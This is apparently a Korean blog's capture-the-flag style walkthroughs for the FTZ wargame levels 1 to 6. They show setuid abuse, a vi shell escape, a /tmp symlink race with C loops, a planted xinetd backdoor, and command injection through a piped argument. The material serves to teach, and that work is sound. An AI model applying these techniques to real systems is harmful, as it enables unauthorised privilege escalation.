FTZ level6

Posted by dw0rdptr
2015. 3. 17. 20:44 System/FTZ

접속을 하면 난데없이 힌트가 나온다



hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.


엔터를 누르면 텔넷 접속서비스라고 뜨고 메뉴가나온다 

메뉴를 입력했더니 접속을 시도하다 그대로 세션이 종료되었다


다시 접속해보자

hint가 나올때 ctrl+c를 누르면 쉘이 뜬다

ls로 파일목록을보니

hint password  ....


password??


뭐지 설마..하면서 

[level6@ftz level6]$ cat password


끝.


'System > FTZ' 카테고리의 다른 글

FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17

FTZ level5

Posted by dw0rdptr
2015. 3. 17. 20:42 System/FTZ


hint :

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.


이를 이용하여 level6의 권한을 얻어라



level5는 setuid가 걸려있다.


level5를 실행해보면 아무런 아웃풋 없이 프로그램이 종료된다.

힌트에서 /tmp 디렉토리에 임시파일을 생성한다고 했으나 실제로 /tmp 디렉토리에는

level5.tmp 파일이 존재하지 않았다.


여기서 생각해볼 수 있는 경우의 수는

아예 처음부터 level5 프로그램이 임시파일을 생성하지 않거나

프로그램이 종료되면 임시파일도 같이 삭제되는 경우를 생각해 볼 수 있다.


첫번째는.. 엿먹으라고 힌트를 저렇게 줄리 없으니

두번째경우로 가정을 한다면 레이스컨디션이라는 해킹기법과 심볼릭 링크를 이용해 패스워드를 알아내야 한다.


심볼릭링크와 레이스컨디션에 대한 자세한 설명은 http://geundi.tistory.com/48 이곳에 나와있다.


level5 프로그램을 여러번 실행하는 간단한 프로그램을 짠다



1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;
    for(i=0;i<=1000;i++)
        system("/usr/bin/level5");        
}
cs

level5가 여러번 실행되면서  /tmp 디렉토리에는 level5.tmp가 생성되었다 삭제되는게 반복될 것이다

이번엔 임의의 파일 slink를 /tmp 디렉토리에 생성하고 level5.tmp를 slink의 심볼릭링크 파일로 생성하는 프로그램을 짠다


[level5@ftz tmp]$ touch slink

[level5@ftz tmp]$ vi link.c

1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;        
    for(i=0;i<=1000;i++)
        system("ln -s /tmp/slink /tmp/level5.tmp");        
}
cs




[level5@ftz tmp]$ gcc -o level level.c

[level5@ftz tmp]$ gcc -o link link.c


이 두 프로그램을 동시에 실행시키면 level5를 실행하면 level5.tmp에 내용이 써지게 되고

심볼릭링크인 level5.tmp의 원본파일인 slink에도 그대로 쓰여질 것이다.



[level5@ftz tmp]$ ./level5&

[1] 8267

[level5@ftz tmp]$ ./link

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

.

.

.

[1]+ Exit 84 ./level5


[level5@ftz tmp]$cat slink




'System > FTZ' 카테고리의 다른 글

FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17

FTZ level4

Posted by dw0rdptr
2015. 3. 17. 20:35 System/FTZ


hint : 누군가 /etc/xinetd.d/에 백도어를 심어놓았다.



xinetd.d폴더를 보면 backdoor가 있다.


service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


vi로 뜯어본 결과

finger 서비스를 실행시키면

level5 의 권한으로 /home/level4/tmp/backdoor 파일을 실행시킨다.


하지만 저 경로에 backdoor라는 파일이 없으므로 간단한 c프로그램으로 해결하자



[level4@ftz tmp]$ vi backdoor.c


1
2
3
4
5
int main(){    
    system("my-pass");    
    return 0;
}
 
cs


이렇게 system함수로 my-pass 명령어를 실행할 수 있게 프로그램을 짰다

이제 gcc로 컴파일을 하자



*gcc 사용법:

gcc [옵션][생성될 실행파일] [컴파일할 c파일]



[level4@ftz tmp]$ gcc -o backdoor backdoor.c

같은 폴더에 backdoor라는 바이너리 파일이 생성되었다.

한번 실행해보자


[level4@ftz tmp]$ ./backdoor 

Level4 Password is "suck my brain"


현재 레벨의 권한으로 실행시켰으니 당연히 현재 레벨의 패스워드가 나온다.

그럼 finger명령어를 통해 실행시키면 level5의 권한으로 실행되니 level5의 패스워드가 나올 것이다.



finger 명령어는 사용자의 계정정보를 확인하는 명령어인데

finger @host명 으로 실행하게 되면 해당 서버에 접속해 있는 모든 유저의 정보를 출력한다

finger의 서버가  /home/level4/tmp/backdoor 으로 설정되어 있으니 서버에 접속하게 되면 그대로 

아까 생성해놓은 backdoor를 실행하게 되고 level5의 패스워드가 나올 것이다.


[level4@ftz tmp]$ finger @localhost

^[[H^[[J


'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17

FTZ level3

Posted by dw0rdptr
2015. 3. 17. 20:09 System/FTZ


argc와 argv에 대해


main함수, 즉 프로그램이 실행할 때 인자를 받는경우 argc는 받는 인자의 개수를 뜻하고, argv는 인자를 가리킨다.


다음 코드는 autodig의 소스이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> 
int main(int argc, char **argv){         //argc는 인자의 개수, argv는 인자를 뜻한다     
    
    char cmd[100];     
 
    if( argc!=2 )
{        
        printf( "Auto Digger Version 0.9\n" );        
        printf( "Usage : %s host\n", argv[0] );        
        exit(0);    
    }     
 
    strcpy( cmd, "dig @" );    
    strcat( cmd, argv[1] );    
    strcat( cmd, " version.bind chaos txt");     
 
    system( cmd ); 
}
 
cs

이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?



인자가 2개가 아닐경우 프로그램을 바로 종료해버린다.

동시에 여러 인자를 전달하려면 파이프명령어 | (Shift+\) 를 쓰면 된다.


[level3@ftz level2]$ ./autodig localhost|my-pass


Level3 Password is "can you fly?".



? 현재 레벨의 my-pass가 나온다

힌트에 문자열 형태로 명령어를 전달하라고 했으니 ""를 써보자


[level3@ftz level2]$ ./autodig "localhost|my-pass"




'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17

FTZ level2

Posted by dw0rdptr
2015. 3. 17. 20:06 System/FTZ

level2


cat hint로 힌트를 보면

hint : 텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...



find / -user level3 -perm -4000 실행해보면

/usr/bin/editor 이 level3의 권한으로 실행된다는것을 알 수 있다.

실행시켜보면 vi editor가 뜨는데 vi는 리눅스를 쓴다면 정말 유용한 에디터이므로 사용법정도는 알아두는것이 좋다.


vi에는 기본적으로 세 가지 모드가 있는데,

그중 ex모드에서는 외부쉘을 실행 할 수 있으므로

:!/bin/bash 실행하면 level3 권한의 쉘 획득


* :!ls를 실행해보면 현재 디렉토리의 파일 목록이 그대로나온다


[level3@ftz level2]$ my-pass

 



'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level1  (0) 2015.03.17

FTZ level1

Posted by dw0rdptr
2015. 3. 17. 19:57 System/FTZ

level1

password : level1


hint : level2권한에 setuid가 걸린 파일을 찾는다



find / -user level2 -perm -4000 실행 (-perm -4000에서 4는 SetUID를 의미)


permission denied가 붙지않은 경로를 찾는다


.

.

.

.

.

/bin/ExecuteMe


실행하면 level2의 권한으로 명령하나를 실행할수 있게 해준다.(my-pass, chmod 제외)

level2의 bash를 얻으면 되므로

bash 실행



[level2@ftz level2]$ /bin/bash

[level2@ftz level2]$ my-pass




'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17